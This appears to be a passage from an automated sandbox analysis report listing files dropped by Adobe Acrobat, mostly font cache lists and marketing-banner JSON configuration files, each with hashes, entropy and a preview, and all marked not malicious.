Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353585414986259
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJM3g98kUwPeUkwRe9:YvXKXFGkxYpW7YGMbLUkee9
MD5:	9A8C0E1A5BC4A325F10222DF57CA2476
SHA1:	ECD4AE8A8A70E6D45652A3F068F6B6FF9D63DBD6
SHA-256:	759D6CF7B2B2E734B4B8AD9DBB64A68D1036E8F94B10C885C432DCC1129A7C57
SHA-512:	844B3A4EF1B651D36F24AC68C78B77EAC4EC07CC9DEAF709660A649DB98003D860DDA5E949EF801D5013C4F59334E545772C4BDE3E1D79DD374BB9F36CD51992
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294445939936987
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfBoTfXpnrPeUkwRe9:YvXKXFGkxYpW7YGWTfXcUkee9
MD5:	22C4DED935AE52149CC59A8DFEF049AC
SHA1:	B514ACD6BB6686CA523BCD3744753EC868C2A15C
SHA-256:	C1710EF156A7054ECA87D9008CFDB61E6DC0C7CC3DEA558A705D6C44A3D172E8
SHA-512:	BC4DCF9B94C6EEFC6F80A10BDA3557C0A0B580E070F26415B5F38D2212C012C0BF56714F2665A066A1BBF15E15B21098479236BD29F5E8461FDEF6F691422FEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271989138155609
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfBD2G6UpnrPeUkwRe9:YvXKXFGkxYpW7YGR22cUkee9
MD5:	1CAA56A4C2293411F76320B05B7892C6
SHA1:	045D770035204E74D5DA6760E587542F93ECC688
SHA-256:	9B747AD7D83A787831DAF0606A8ADBCF0B1FF6590E5D5BD45A3280F61EF29FCC
SHA-512:	2DC3A04B1819BA0E62335EBF8BC9C9E003E584682FBFBD37F5CF4B86F26A555DDDECEA5BF0130C7B935D7027D9AAE6AC99CB136617526C7AF0571C2BCB69B125
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33213520592683
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfPmwrPeUkwRe9:YvXKXFGkxYpW7YGH56Ukee9
MD5:	BD58282480078ADDBD5A52D9E2FA805F
SHA1:	00B39BF255BCE1434A6F920777D316ED0ECD8790
SHA-256:	7BF8FCA1A0636B225B93707A6178920AAE674F9E72497752DE45DA5B2AC33DA6
SHA-512:	49DE704303975334123B4BE3BBC1227FB24601AA3A234C1218BEAA9ECEA1C76B294DE094BDA3D4D0AC810A10A7377F3A128FEC75FEF5E94C53127B9BF1CE6763
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687926523796491
Encrypted:	false
SSDEEP:	24:Yv6XgHi1pLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:YvdC1hgy6SAFv5Ah8cv/3
MD5:	20365E8DF1DBF768791B25DBB559C251
SHA1:	CF43B84272F62F938900FAA8BCDA9716504A5652
SHA-256:	E6245756AF91B7C8F3951FD76FF8B3A5BC920411211F0E5226F53F90FC6303D0
SHA-512:	3EC94974D123BDC2B03BFD4BCB0E4370851785D2F0A6FB4E80FA48C41A39B2153400D1BB44720150F5D2294356CE31063FD49FD5D3920875A9D8DE5A57177FF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277884244295992
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJf8dPeUkwRe9:YvXKXFGkxYpW7YGU8Ukee9
MD5:	BF1F7C294299D78EB28300FF6FF3D4D0
SHA1:	2B6C44B37E911E88B861EF5A966C68E1F97B67F3
SHA-256:	2F97DD65084C0534F012299ED5090E94F00C64FE31916E34A77B1757561DA3FA
SHA-512:	6AF394CE30C598C73C702E82379B754DFEDBF693B04B8803698B88A8D0CB88555F56509039C24012E0AC3C067217B140D69958E46E2BFAAD059E1A2EE31CE6AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279684657158931
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfQ1rPeUkwRe9:YvXKXFGkxYpW7YGY16Ukee9
MD5:	46DEA04F66CA2458E584C978C3287968
SHA1:	2BF29E5360623EFF904DB1F5A32F305B5DA93421
SHA-256:	1E0819ECCD2438DD57882457B39970C3EC9B3732A454ECE24B25E9E04F9275E2
SHA-512:	2D16C03C30F5635E265C1914984698AA89DF070992E91E32744BB2EE558F1ACC63809B5C19E694261441E2FD574B65BBBB8BD98B7DF35E19FBFD433034C8F750
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298855751053092
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfFldPeUkwRe9:YvXKXFGkxYpW7YGz8Ukee9
MD5:	C0479F43B7B1427815F89A86AA048826
SHA1:	DEEE09293333A1FBE276839DA35938B63ED7C78D
SHA-256:	D9D1E2EDEFA63FEDEDE4EE33CA73F996D162C1AB427020F22BFF26358181E69B
SHA-512:	2812F5BD0F31B0ABC44B8E40C847CA04A076A3904A5F0350C15076EBD1DB1C97CBE0C3A5BE07F67159A9855D781ABEE2A6CAA3068E5B39B808C56F4E204AA53C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.306539392389445
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfzdPeUkwRe9:YvXKXFGkxYpW7YGb8Ukee9
MD5:	021149FE04DDF914A620AE767C1D0961
SHA1:	90503F386266662DE12B74F680BC0C0D4131EDA7
SHA-256:	62A42FD09CC2C949C1C6E4971DF4FC1AE74607064B3096A2A5407032F173217B
SHA-512:	654DE584073A6601004495D6F4E26330FA12EC9E0C00AB89708CE3913A20749976B914738E7C1A43F5EB34AD9CDB91A749D370C68808850A60B6A08ACEB94245
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28691688820405
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfYdPeUkwRe9:YvXKXFGkxYpW7YGg8Ukee9
MD5:	1584E0BD7E410D4CB9C49E05E5F589AF
SHA1:	D0DA909C65C8D0776D94A87DE778426256AB70AA
SHA-256:	12B3F12658C341A98DD9A0BA3AA36524C3BBBD73F10C6BBF1894BFE750626E4D
SHA-512:	BEE8D5CFB081B9ACEE50532EF9866673A3B0F98B0E6FF439365FA1CB4B3C566086A6EFF5284A773DCC0DCED3289CAB670BA09649DFCC9AB6446FC2FD184A99CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.272419223018602
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJf+dPeUkwRe9:YvXKXFGkxYpW7YG28Ukee9
MD5:	D3B3AAF4BCFBEFC2D3807BB9BE2E7B0C
SHA1:	90F0C58742E0EA452FF68B2696FE59E2A9A7BCE2
SHA-256:	5882A8F9E9598786ECE7BD09BB698410CC944B886980D5D17B1FD6A756D9D747
SHA-512:	7595746DE178FDF2DAD99073297DF96AB19C95DE9BF1579219DFCBC28054F89EE53DFDC2CBDA5DA5123DEA7771641A7C9BA06AD855FF7AF70A7D65DF74979D33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.270553904172044
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfbPtdPeUkwRe9:YvXKXFGkxYpW7YGDV8Ukee9
MD5:	15E8A1FD47E93E50CDC90C5A9DFD5B9C
SHA1:	04E69A39285CBC34E4176EF3338A24F29B7C03C7
SHA-256:	666A1378A35E36FE043CD5D4F130E7DC3CA5E6C466B969D1A93654A3707D67D7
SHA-512:	D75A2185C0D342578E8DB6996BACEE1BA7FB16ABC44EEB83AD3440985624B81DEDF344C54FEB482D2B4FB0B46B49DD92C9672DD97CAEFE072A841CE6250E00F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272046033650496
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJf21rPeUkwRe9:YvXKXFGkxYpW7YG+16Ukee9
MD5:	FC7BDBD5C1DB1301DCB98D39EA7C508E
SHA1:	F78BC4074D4EE4D3AD85911C8C40AB2909F1B7DE
SHA-256:	BDFA38A9381977B8992A31C04A6A88CC2B45D4476A5FA000F008C7FAE8123E1E
SHA-512:	C60A4184F101FF5189514553A581C716ADC0158F900B1ACF8FE846269F7D0B933B4B1E192DD972B51D4924100118F2326B31AEEE221EAFBA0DD8E24BD806D5AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6590103129196105
Encrypted:	false
SSDEEP:	24:Yv6XgHitamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:YvdCBBgkDMUJUAh8cvM3
MD5:	0BFDC5257C0A97F324BBBE1F0517C7DE
SHA1:	D6E6433A59F6B514D636429F5AD3BE563DC806F6
SHA-256:	1193B35262F95761C813A64FCBA86F9582FC9B0DCC46B32B35B53A67C0AB3453
SHA-512:	60BCAAAA5D18668DE37DFA2C6A75EC37B994098E4F31BBBA8E11B61A709109203F0883941146253C2989089A0AE29AD55F7130059AF49FF8EEC1F98337947687
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246002808893447
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJfshHHrPeUkwRe9:YvXKXFGkxYpW7YGUUUkee9
MD5:	4043EBBABC5720730167CA13F35480C9
SHA1:	759300714830C3B749B72310C75C8441B77FE3B0
SHA-256:	C589C373A0118B33C2E579797BB6FF3279F205427BF8B9966D686748331BA342
SHA-512:	3D114AE94FD2A7DEC0C07CE8A2190E637B53C72CC40B4964353E1870236E5179AEDEB454B1E4E60DC0ADD3BEF6659A3103B6F9D9B3FE820094E57026EFE0842E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256625269130333
Encrypted:	false
